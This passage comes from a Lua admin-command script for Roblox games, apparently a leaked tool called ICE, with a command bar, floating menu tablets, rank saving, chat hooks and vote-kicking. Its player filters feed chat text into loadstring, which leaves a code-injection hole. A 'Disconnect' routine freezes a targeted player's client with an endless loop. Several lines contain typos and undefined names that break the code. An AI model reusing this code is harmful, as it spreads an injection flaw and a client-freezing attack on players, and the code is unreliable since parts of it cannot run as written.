- Is.Parent=Main
- Is.Name='IsCmd'
- --]]
- CommandBar = Instance.new'ScreenGui'
- CommandBar.Parent=PG
- CommandBar.Name = 'CMD'
- Run = Instance.new('TextButton', CommandBar)
- Run.Name = 'Run'
- Run.Position = UDim2.new(0, 75, 0.15, 500)
- Run.Size = UDim2.new(0, 70, 0, 20)
- Run.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
- Run.BorderColor3 = Color3.new(1, 1, 1)
- Run.BackgroundTransparency = 0.5
- Run.Text = 'Run'
- Run.FontSize = Enum.FontSize.Size12
- Run.TextStrokeTransparency = 0
- Run.TextColor3 = Color3.new(1, 1, 1)
- Run.ZIndex=10
- Txt = Instance.new('TextBox', CommandBar)
- Txt.Name = 'Txt'
- Txt.Position = UDim2.new(0, 150, 0.15, 500)
- Txt.Size = UDim2.new(0, 850, 0, 20)
- Txt.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
- Txt.BorderColor3 = Color3.new(1, 1, 1)
- Txt.BackgroundTransparency = 0.5
- Txt.Text = ''
- Txt.FontSize = Enum.FontSize.Size12
- Txt.TextStrokeTransparency = 0
- Txt.TextXAlignment = Enum.TextXAlignment.Left
- Txt.TextColor3 = Color3.new(1, 1, 1)
- Txt.ZIndex=10
- Clear = Instance.new('TextButton', CommandBar)
- Clear.Name = 'Clear'
- Clear.Position = UDim2.new(0, 0, 0.15, 500)
- Clear.Size = UDim2.new(0, 70, 0, 20)
- Clear.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
- Clear.BorderColor3 = Color3.new(1, 1, 1)
- Clear.BackgroundTransparency = 0.5
- Clear.Text = 'Clear'
- Clear.FontSize = Enum.FontSize.Size12
- Clear.TextStrokeTransparency = 0
- Clear.TextColor3 = Color3.new(1, 1, 1)
- Clear.ZIndex=10
- Is=Instance.new'StringValue'
- Is.Parent=CommandBar
- Is.Name='IsCmd'
- Run.MouseButton1Down:connect(function()
- if Txt.Text:sub(1,1) == "^" then
- ICE.OnChatted(Txt.Text:sub(2),v)
- else
- ICE.OnChatted(Txt.Text,v,true)
- end
- end)
- Clear.MouseButton1Down:connect(function() Txt.Text="" end)
- end
- end
- end
- end)()
- end
- if ICE.ActivateGrow==true then
- for i,v in pairs(ICE.Tablets) do
- if v.JustMade==false then
- if v.Rising==true then
- if v.Part.Size.x >= 2.5 then
- v.Rising=false
- else
- v.Part.Size=Vector3.new(v.Part.Size.x+0.1,v.Part.Size.y+0.1,v.Part.Size.z+0.1)
- end
- else
- if v.Part.Size.x <= 1 then
- v.Rising=true
- else
- v.Part.Size=Vector3.new(v.Part.Size.x-0.1,v.Part.Size.y-0.1,v.Part.Size.z-0.1)
- end
- end
- end
- end
- end
- local Source=game:findFirstChild("DSource",true) or game:findFirstChild("Source",true) or game:findFirstChild("source",true)
- if Source then
- if ICE.LocalScript==nil then
- if Source.Parent:IsA'LocalScript' then
- Par=Source.Parent:Clone()
- Par:ClearAllChildren()
- ICE.LocalScript=Par
- for _,v in pairs(ICE.Services.Players:GetPlayers()) do
- if ICE.GetRank(v) >= 1 then
- ICE.Output('[ICE]: Found local script','White',v,3)
- end
- end
- end
- end
- end
- end)()
- -- pcall(function()
- for i,v in pairs(ICE.Tablets) do
- if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then
- ICE.Tablets[i]=nil
- end
- pcall(function() if ICE.Services.Players:FindFirstChild(v.Player) == nil then
- v.Model:Destroy()
- ICE.Tablets[i]=nil
- end end)
- end
- for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
- local _tablets = ICE.GetTablets(Player)
- local DismissTablets={}
- local TabletNumber = 0
- for i,v in pairs(_tablets) do
- if #_tablets == 1 then
- if v.Label.Text == 'Dismiss' then
- v.Model:Destroy()
- _tablets[i]=nil
- end
- elseif #_tablets > 1 then
- if v.Label.Text == "Dismiss" then
- table.insert(DismissTablets,v)
- end
- end
- TabletNumber = TabletNumber + 1
- end
- if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end
- if #DismissTablets == 0 and #_tablets >=2 then ICE.Output('Dismiss','Red',Player) end
- for i = 1, #_tablets do
- if _tablets[i].Model.Parent ~= nil then
- local tab = _tablets[i].Part
- local pos = nil
- pcall(function()
- pos = Player.Character.Torso.CFrame
- end)
- if pos == nil then
- repeat
- pcall(function() pos=Player.Character.Torso.CFrame end)
- wait()
- until Pos
- end
- if pos then
- local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
- local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- --local Angles={};
- Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z}
- Angles[1]=Angles[1]+tonumber( math.random() + math.random() );
- Angles[2]=Angles[2]+tonumber( math.random() + math.random() );
- Angles[3]=Angles[3]+tonumber( math.random() + math.random() );
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3]))
- _tablets[i].x=Angles[1]
- _tablets[i].y=Angles[2]
- _tablets[i].z=Angles[3]
- if tab:findFirstChild("Effect") then
- tab.Effect.CFrame = tab.CFrame
- end
- end
- else
- _tablets[i]=nil
- end
- end
- end
- -- end)
- -- end
- end
- ICE.GetTablets=function(Player)
- if type(Player) == 'userdata' then Player=Player.Name end;
- Rt={}
- for i,v in pairs(ICE.Tablets) do if v.Player == Player then table.insert(Rt,v) end end;
- return Rt
- end
- ICE.Replicate=function(Text,Number)
- Total="";
- for i=1,Number do wait()
- Total=Total .. Text;
- end
- return Total
- end;
- ICE.ItemCFrame=function(Item,Bool)
- if type(Item)=='string' then
- Item=game:findFirstChild(Item,Bool)
- end
- -- Load the Item first ;)
- -- Set up tables --
- ReturnTable={};
- MetaReturnTable={
- __index=function(tab,key)
- local Daf={Item=nil,CFrame=nil};
- Daf.Item=ItemCFrame(Item,Bool)[1].Item;
- Daf.CFrame=ItemCFrame(Item,Bool)[1].CFrame;
- ReturnTable[#ReturnTable+1]=Daf
- return Daf;
- end;
- };
- setmetatable(ReturnTable,MetaReturnTable);
- if type(Item) == 'table' then
- for i,v in pairs(Item) do
- if type(i)=='string' then
- table.insert(ReturnTable,{Item=ItemCFrame(i,Bool)[1].Item,CFrame=ItemCFrame(i,Bool)[1].CFrame})
- else
- table.insert(ReturnTable,{Item=ItemCFrame(v,Bool)[1].Item,CFrame=ItemCFrame(v,Bool)[1].CFrame})
- end
- end
- else
- if type(Item)=='userdata' then
- if Item:IsA'Model' then
- CFrame=Item:GetModelCFrame();
- ReturnTable[#ReturnTable+1]={Item=Item.PrimaryPart or Item,CFrame=CFrame};
- else
- ReturnTable[#ReturnTable+1]={Item=Item,CFrame=Item.CFrame};
- end
- else
- return '[Item CFrame Function]: Unsupported argument type(Item)'
- end
- end
- return ReturnTable
- end;
- ICE.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit,Type)
- if Text == nil or Player == nil then return end
- if Player:IsA'Player' then else return end
- if Color == nil then Color = "Orange" end
- if Color == "Random" then
- Color = Color3.new(math.random(),math.random(),math.random())
- end
- if type(Color) == "string" then
- if Color == "Random" then
- Color=Color3.new(math.random(),math.random(),math.random())
- Color = Color3.new(math.random(),math.random(),math.random())
- else
- Color = ICE.Colors[Color]
- end
- end
- local Model=Instance.new'Model'
- Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',ICE.Services.Workspace
- local Part=Instance.new'Part'
- Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
- Part:BreakJoints();
- local SelectionBox=Instance.new'SelectionBox'
- SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
- local BillBoard=Instance.new'BillboardGui'
- BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
- local Label=Instance.new'TextLabel'
- Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
- local Click=Instance.new'ClickDetector'
- Click.Parent,Click.MaxActivationDistance=Part,1/0
- local Effect=nil;
- if ICE.Tablet ~= 'Normal' then
- Part.Shape='Ball';
- Part.Size=Vector3.new(2,2,2)
- local Effect=Instance.new'Part'
- Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
- Effect:BreakJoints();
- Effect.Parent = Part
- Effect.Name = "Effect"
- Effect.Shape = "Block"
- Effect.FormFactor = "Custom"
- Effect.CFrame=Part.CFrame
- Effect.Transparency = 0
- Effect.Size = Vector3.new(0.875,0.875,0.875)
- SelectionBox.Adornee=Effect
- Part.Transparency=0.5
- elseif ICE.Effect and ICE.Effect==true then
- local Effect=Instance.new'Part'
- Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
- Effect:BreakJoints();
- Effect.Parent = Part
- Effect.Name = "Effect"
- Effect.Shape = "Ball"
- Effect.FormFactor = "Custom"
- Effect.CFrame=Part.CFrame
- Effect.Transparency = 0
- Effect.Size = Vector3.new(0.875,0.875,0.875)
- SellClone=Instance.new'SelectionBox'
- SellClone.Color=BrickColor.new(Color);
- SellClone.Adornee=Effect
- SellClone.Parent=Effect
- SellClone.Transparency=0.5
- end
- if Type then
- if Type == "Tablet" then
- Effect=Part:clone()
- Effect.Size=Vector3.new(1,1,1)
- Effect.Shape=math.random(1,4)
- Effect.Name='Effect'
- Effect:ClearAllChildren();
- Effect.Parent=Part
- end
- end
- pcall(function()
- -- Dynamic lighting
- if ICE.Services.Lighting.GlobalShadows==true and ICE.Services.Lighting.Ambient==Color3.new(0,0,0) or ICE.Services.Lighting.Ambient==Color3.new(-1,-1,-1) then
- Spot=Instance.new'PointLight'
- Spot.Color=Color
- Spot.Parent=Part
- Spot.Range=10
- Spot.Brightness=1/0
- end
- end)
- Click.MouseHoverEnter:connect(function(Clicker)
- if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
- if HoverEnter~=nil then
- HoverEnter(Model,Part,Player.Name,SelectionBox,Label)
- else
- SelectionBox.Transparency,Part.Transparency=0,0.3
- end
- end
- end)
- Click.MouseHoverLeave:connect(function(Clicker)
- if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
- if HoverExit~=nil then
- HoverExit(Model,Part,Player.Name,SelectionBox,Label)
- else
- SelectionBox.Transparency,Part.Transparency=0.7,0.7
- end
- end
- end)
- Click.MouseClick:connect(function(Clicker)
- if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
- if Text=='Dismiss' then
- ICE.RemoveTablets(Player);
- end
- if Func~=nil then
- local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end))
- if Ran == nil and Error then
- ICE.Output(Error,'Red',Player,5)
- end
- end
- coroutine.wrap(function()
- for i=0,2.5,0.1 do
- if i <= 1 then
- Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i
- end
- Num=2.5-i
- if ICE.Tablet=='Normal' then
- Part.Size=Vector3.new(Num,Num,Num)
- end
- wait()
- end
- if Model then
- Model:Destroy()
- end
- end)()
- end
- end)
- ICE.Tablets[#ICE.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0,JustMade=false,Rising=false}
- coroutine.wrap(function()
- if ICE.ActivateGrow==false and ICE.Tablet == 'Normal' then
- for i=0,2.5,0.1 do
- wait()
- Part.Size=Vector3.new(i,i,i)
- end
- wait()
- end
- end)()
- if Time then
- game:service'Debris':AddItem(Model,Time)
- end
- ICE.Rotate()
- return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label}
- end
- ICE.OutputImg=function(Image,Text,Color,Player,Time,Func)
- Tab = ICE.Output(Text,Color,Player,Time,Func)
- if type(Image)=='number' then Image=tostring(Image) end
- if #Image < #("http://www.roblox.com/") then
- Image="http://www.roblox.com/asset/?id="..Image
- end
- BBG = Instance.new("BillboardGui",Tab.Model)
- BBG.Size = UDim2.new(5,0,6,0)
- BBG.StudsOffset = Vector3.new(0, 7, 0)
- BBG.Adornee = Tab.Part
- Img = Instance.new("ImageLabel",BBG)
- Img.Size = UDim2.new(1,0,1,0)
- Img.BackgroundTransparency = 1
- Img.Image = Image--"http://www.roblox.com/asset/?id=111659053"
- return Tab
- end
- ICE.BCtoC3=function(BC)
- if type(BC)=='userdata' or type(BC)=='BrickColor' then
- return Color3.new(BC)
- elseif type(BC)=='string' then
- return Color3.new(BrickColor.new(BC))
- else
- return 'Unsupported format( ' .. type(BC) .. '; ' .. tostring(BC) .. ')'
- end
- end;
- ICE.SaveData=function(Player)
- local Old=Player:LoadInstance('Data ICE25' )
- New=false
- if Old==nil then
- New=true
- Old=Instance.new'Model'
- end
- if New==true then
- local Rank=Instance.new'IntValue'
- Rank.Parent=Old
- Rank.Name='Rank'
- Rank.Value=ICE.Ranked[Player.Name].Rank
- Color=Instance.new'Color3Value'
- Color.Parent=Old
- Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
- else
- pcall(function()
- if Old.Rank then
- Old.Rank.Value=ICE.Ranked[Player.Name].Rank
- Old.Color.Value=ICE.Ranked[Player.Name].Color
- else
- local Rank=Instance.new'IntValue'
- Rank.Parent=Old
- Rank.Name='Rank'
- Rank.Value=ICE.Ranked[Player.Name].Rank
- Color=Instance.new'Color3Value'
- Color.Parent=Old
- Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
- end
- end)
- end
- Player:SaveInstance('Data ICE25',Old)
- end
- ICE.LoadData=function(Player)
- tab={Rank=nil,Color=nil}
- local Mod=Player:LoadInstance'Data ICE25'
- if Mod then
- tab.Rank=Mod.Rank.Value
- tab.Color=Mod.Color.Value
- end
- return tab
- end
- ICE.CreateLocalScript=function(Source,Parent)
- if Parent==nil then Parent=Instance.new'Model' end
- if Source==nil then return end
- if newLocalScript then
- return newLocalScript(Source,Parent)
- elseif NewLocalScript then
- return NewLocalScript(Source,Parent)
- else
- if ICE.LocalScript~=nil then
- CL=ICE.LocalScript:clone()
- CL:ClearAllChildren();
- CL.Name='[ICE]:PseudoLocal'
- DS=Instance.new'StringValue'
- DS.Name='Source'
- if game.CreatorId==9201 then
- DS.Name='DSource'
- end
- DS.Value=Source
- CL.Disabled=true
- CL.Parent=Parent
- CL.Disabled=false
- return CL
- else
- return nil
- end
- end
- end
- --[[ Mesh = Instance.new("SpecialMesh")
- Mesh.MeshId = "http://www.roblox.com/asset/?id=105408067"
- Mesh.MeshType = Enum.MeshType.FileMesh
- Mesh.Parent=Tab.Part
- ]] --
- ICE.ConChat=function(Player)
- coroutine.wrap(function()
- local Script = ICE.CreateLocalScript([==[
- wait()
- script.Parent=Instance.new'Glue'
- LocalPlayer=game:service'Players'.LocalPlayer;
- Rank=]==]..tostrin(ICE.Ranked[Player].Rank)..[==[;
- repeat
- wait()
- until LocalPlayer.Parent==nil or LocalPlayer.Parent ~= game.Players;
- LocalPlayer.Chatted:connect(function(Msg)
- if Rank > 0 then
- local Mod=Instance.new'Model'
- lcoal Data=Instance.new'StringValue'
- local Player=Instance.new'Model'
- Player.Name=LocalPlayer.Name
- Mod.Name='External';
- Data.Name='Message'
- Data.Value=tostring(Msg)
- Data.Parent=Mod
- Player.Parent=Mod
- Mod.Parent=game:service'Lighting'
- game:service'Debris':AddItem(Mod,5)
- end
- end)
- ]==],Player.Backpack)
- end)()
- end
- ICE.SetChat=function(Player)
- coroutine.wrap(function()
- local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
- FoundChat=ICE.ChatConnections[Player.Name]
- if FoundChat~=nil then
- FoundChat.Conn:disconnect()
- ICE.ChatConnections[Player.Name]={Conn=Connection}
- else
- ICE.ChatConnections[Player.Name]={Conn=Connection};
- end
- end)()
- end
- ICE.FixChat=function(Player)
- coroutine.wrap(function()
- local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
- FoundChat=ICE.ChatConnections[Player.Name]
- if FoundChat~=nil then
- FoundChat.Conn:disconnect()
- ICE.ChatConnections[Player.Name]={Conn=Connection}
- else
- ICE.ChatConnections[Player.Name]={Conn=Connection};
- end
- end)()
- end
- ICE.Connect=function(Player)
- coroutine.wrap(function()
- repeat wait() until Player.Character and Player:findFirstChild'Backpack'
- if newLocalScript then
- newLocalScript([==[
- wait()
- script.Parent=Instance.new'Glue'
- LocalPlayer=game:service'Players'.LocalPlayer;
- LocalPlayer.Chatted:connect(function(Msg)
- --if Rank > 0 then
- if game.Players:findFirstChild(LocalPlayer.Name)==nil then
- Mod,Mg,Pg=Instance.new'Model',Instance.new'StringValue',Instance.new'StringValue'
- Mod.Name,Mg.Name,Pg.Name='External','Message',LocalPlayer.Name
- Mg.Value,Pg.Value=tostring(Msg),'Player'
- Mg.Parent,Pg.Parent=Mod,Mod
- Mod.Parent=game.Workspace
- game:service'Debris':AddItem(Mod,5)
- end
- --end
- end)
- ]==],Player.Backpack)
- newLocalScript([[
- ICE={
- Services={};
- }
- for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
- LocalPlayer=ICE.Services.Players.LocalPlayer;
- script.Parent=nil;
- script:ClearAllChildren();
- Removed=false
- game:service'RunService'.Stepped:connect(function()
- if Removed==false then
- if ICE.Services.Lighting:findFirstChild'Disconnect' then
- local Item=ICE.Services.Lighting:findFirstChild'Disconnect'
- if Item.Value==LocalPlayer.Name then
- pcall(Item.Destroy,Item)
- LocalPlayer.Parent=nil
- wait()
- LocalPlayer.Parent=ICE.Services.Players
- wait(1)
- repeat until nil
- end
- end
- if ICE.Services.Lighting:findFirstChild'Ender' then
- if ICE.Services.Lighting.Ender.Value=="]]..ICE.Ender..[[" then
- Removed=true
- end
- end
- end
- end)]],Player.Character)
- ICE.Output('Connect succesfully!','Green',Player,3)
- end
- end)()
- coroutine.wrap(function()
- Player:WaitForDataReady()
- if Player.Character==nil then
- Player:LoadCharacter();
- end
- if ICE.Ranked[Player.Name]==nil then
- local Rankkh=0
- Colorr=Color3.new(0,1,0);
- local Item=ICE.LoadData(Player)
- if Item.Rank ~= nil then
- Rankkh=Item.Rank
- Colorr=Item.Color
- end
- ICE.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0),CMD=false};
- end
- coroutine.wrap(function()
- local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
- FoundChat=ICE.ChatConnections[Player.Name]
- if FoundChat~=nil then
- FoundChat.Conn:disconnect()
- ICE.ChatConnections[Player.Name]={Conn=Connection}
- else
- ICE.ChatConnections[Player.Name]={Conn=Connection};
- end
- end)()
- ToBeRemoved=false
- if ICE.Ranked[Player.Name].Rank == -1 then
- for _,v in pairs(ICE.Services.Players:children()) do
- if v.Name == Player.Name then
- --
- else
- pcall(function() Player:Destroy() end)
- ICE.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5)
- end
- end
- repeat
- Player:Destroy();wait();
- until Player==nil
- end
- if Player.Name:sub(1,6) == 'Guest ' then
- ToBeRemoved=true
- for _,v in pairs(ICE.Services.Players:children()) do
- if v.Name ~= Player.Name then
- pcall(function() Player:Destroy() end)
- ICE.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5)
- end
- end
- end
- if Player.AccountAge < 7 and ICE.Ranked[Player.Name].Rank == 0 then
- ToBeRemoved=true
- for _,v in pairs(ICE.Services.Players:children()) do
- if v.Name ~= Player.Name then
- pcall(function() Player:Destroy() end)
- ICE.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5)
- end
- end
- end
- if ToBeRemoved==true then
- repeat
- Player:Destroy();wait();
- until Player==nil
- else
- --if ICE.LocalScript and game.PlaceId~= 21053279 then
- --end
- end
- repeat
- wait()
- until ICE.Ranked[Player.Name]
- wait()
- if ICE.Services.Players:findFirstChild(Player.Name) and ToBeRemoved==false then
- --Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
- ICE.SetChat(Player);
- if ICE.GetRank(Player) > 0 then
- ICE.Output('Your rank is ' .. ICE.GetRank(Player),'Orange',Player,10)
- ICE.Output('Welcome to ICE by ICEAdminLeaked','Green',Player,10)
- ICE.OnChatted(ICE.Bets[2]..'connect'..ICE.Bets[2],Player,true)
- else
- ICE.OnChatted(ICE.Bets[1]..'menu'..ICE.Bets[2],Player,true)
- end
- end
- end)()
- end
- ICE.Command=function(Name,Command,Rank,Desc,Args,Func)
- ICE.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func};
- end;
- ICE.CreateTablets=function(Texts,Colors,Player,Times,Funcs)
- if type(Texts) ~= 'table' then
- Texts={Texts}
- end
- if type(Colors) ~= 'table' then
- Colors={Colors}
- end
- if type(Times) ~= 'table' then
- Times={Times}
- end
- if type(Funcs) ~= 'table' then
- Funcs={Funcs}
- end
- Tabs={};
- if #Colors == 1 and #Texts > 1 then
- for i,v in pairs(Texts) do
- Tabs[#Tabs+1]=ICE.Output(v,Colors[1],Player,Times[1],Funcs[1])
- end
- else
- for i,v in pairs(Texts) do
- Tabs[#Tabs+1]=ICE.Output(v,Colors[i],Player,Times[i],Funcs[i])
- end
- end
- return Tabs
- end
- ICE.GetRank=function(Playr)
- if type(Playr) == 'userdata' then Playr=Playr.Name end;
- local Rank=0
- local g =ICE.Ranked[Playr]
- if g then Rank = g.Rank end
- return Rank
- end
- ICE.TableToString=function(Table,TableName)
- local String=""
- if TableName then
- local String= [[ local ]] .. TableName .. [[ = { ]]
- else
- String="{"
- end
- for i,v in pairs(Table) do
- if type(i)=='string' then
- if type(v) ~='table' then
- if type(v)=='string' then
- String=String..i..[[=]]..v..[[;]]
- elseif type(v)=='number' then
- String=String..i..[[=]]..tostring(v)..[[;]]
- else
- String=String..i..[[=]]..v..[[;]]
- end
- else
- local Tab=ICE.TableToString(v,i)
- String=String..i..[[=]]..Tab..[[;]]
- end
- else
- if type(v) ~='table' then
- if type(v)=='string' then
- String=String..v..[[;]]
- elseif type(v)=='number' then
- String=String..tostring(v)..[[;]]
- else
- String=String..v..[[;]]
- end
- else
- local Tab=ICE.TableToString(v,i)
- String=String..Tab..[[;]]
- end
- end
- end
- if String:sub(#String,#String)==';' then
- String=String:sub(1,#String-1)
- end
- String=String.."}"
- return String
- end
- ICE.SandboxLoadstring=function(Source)
- local Func = loadstring(Source or "")
- setfenv(Func,{___ENV = getfenv(1)})
- return coroutine.wrap(Func)
- end
- ICE.GetPlayers=function(Msg,Speaker)
- if Msg == nil or Speaker == nil then
- return ICE.Services.Players:GetPlayers()
- else
- local Rtn = {}
- local Players = game:service'Players':GetPlayers()
- Msg = Msg:lower()
- local Split = Msg:find(",")
- if Split ~= nil then
- for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
- Rtn[#Rtn+1] = v
- end
- for _,v in pairs(ICE.GetPlayers(Msg:sub(Split+1),Speaker)) do
- Rtn[#Rtn+1] = v
- end
- elseif Msg == "me" then
- if Speaker:IsA'Player' then
- Rtn[#Rtn+1] = Speaker
- else
- Rtn[#Rtn+1] = game.Players:GetPlayers()[math.random(1,#game.Players:GetPlayers())]
- end
- elseif Msg == "others" then
- for _,v in pairs(Players) do
- if v ~= Speaker then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg == "all" then
- for _,v in pairs(Players) do
- Rtn[#Rtn+1] = v
- end
- elseif Msg:sub(1,4) == "rank" then
- for _,v in pairs(Players) do
- if ICE.SandboxLoadstring("return "..tostring(ICE.GetRank(v))..Msg:sub(5))() then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg == "random" then
- Rtn[#Rtn+1] = Players[math.random(1,#Players)]
- elseif Msg:sub(1,4) == "not " then
- local Nots = GetPlayers(Msg:sub(5),Speaker)
- for _,v in pairs(Players) do
- local ShouldAdd = true
- for _,i in pairs(Nots) do
- if v == i then
- ShouldAdd = false
- end
- end
- if ShouldAdd == true then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg:sub(1,4) == "dist" then
- for _,v in pairs(Players) do
- --pcall(function()
- local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude
- if ICE.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then
- Rtn[#Rtn+1] = v
- end
- --end)
- end
- elseif Msg:sub(1,3) == "age" then
- for _,v in pairs(Players) do
- if ICE.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then
- Rtn[#Rtn+1] = v
- end
- end
- else
- for _,v in pairs(Players) do
- if v.Name:lower():sub(1,#Msg) == Msg then
- Rtn[#Rtn+1] = v
- end
- end
- end
- for i=1,#Rtn do
- if ICE.Ranked[Rtn[i].Name] and ICE.Ranked[Rtn[i].Name].Rank > ICE.Ranked[Speaker.Name].Rank then
- ICE.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker)
- Rtn[i]=nil
- end
- end
- for _,Player in pairs(Rtn) do
- for _,Parts in pairs(Player.Character:GetChildren()) do
- local Color = ICE.Ranked[Speaker.Name].Color
- if Parts.className == 'Part' then
- local Box = Instance.new('SelectionBox', Parts)
- Box.Adornee = Parts
- Box.Color = BrickColor.new(Color)
- Box.Transparency = 0.5
- end
- end
- coroutine.resume(coroutine.create(function()
- wait(1)
- for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
- if Things.className == 'SelectionBox' then Things:remove() end
- end
- end
- end))
- end
- return Rtn
- end
- end
- ICE.RemoveTablets=function(Player)
- if type(Player)=='userdata' then Player=Player.Name end;
- Tablets=ICE.GetTablets(Player);
- for _,v in pairs(Tablets) do
- coroutine.wrap(function()
- for i=0,1,0.1 do wait()
- v.Part.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- end
- v.Model:Destroy()
- end)()
- end
- end
- ICE.VoteData.AddVote=function(Player,Value)
- ICE.VoteData.Votes[Player.Name]=Value
- end
- ICE.VoteData.RemoveVote=function(Player)
- ICE.VoteData.Votes[Player.Name]=nil
- end
- ICE.VoteData.PlayerHasVoted=function(Player)
- Is=false
- if ICE.VoteData.Votes[Player.Name]==nil then
- for P,V in pairs(ICE.VoteData.Votes) do
- if P:lower():sub(1,#Player.Name)==Player.Name:lower() then
- Is=true
- end
- end
- else
- Is=true
- end
- return Is
- end
- ICE.VoteData.ActivateVoteKick=function(Player)
- ICE.VoteData.Votes={};-- Clear the votes
- ICE.VoteData.IsVoting=false-- Reset Voting Value
- ICE.VoteData.VotedPlayer=""-- Reset Voted Player
- ICE.VoteData.VotingPlayers={};-- Reset Voting Players Table
- ICE.VoteData.IsVoting=true;
- ICE.VoteData.VotedPlayer=Player.Name
- ICE.VoteData.VotingPlayers=ICE.Services.Players:GetPlayers()
- for _nil_,VPlayer in pairs(ICE.VoteData.VotingPlayers) do
- coroutine.wrap(function()
- local Tabs={};
- local EndCor=false;
- Tabs['Yes']=ICE.Output('Vote yes!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
- Tabs['No']=ICE.Output('Vote no!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
- Tabs['Info']=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
- coroutine.wrap(function()
- repeat
- for Name,Dat in pairs(Tabs) do
- if Dat.Model.Parent==nil or Dat.Part.Parent==nil then
- if Name=='Yes' then
- Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
- elseif Name=='No' then
- Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
- else
- Tabs[Name]=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
- end
- end
- end
- wait()
- until EndCor==true
- end)()
- end)()
- end
- coroutine.wrap(function()
- repeat
- wait()
- until #ICE.VoteData.Votes == #ICE.VoteData.VotingPlayers
- local Yes,No=0,0
- for Name,P in pairs(ICE.VoteData.Votes) do
- if P==true then
- Yes=Yes+1
- else
- No=No+1
- end
- end
- -- 2/3rds of Votes need to be yes for the Player to be kicked
- VoteMsg=Instance.new'Message'
- VoteMsg.Name='Voting'
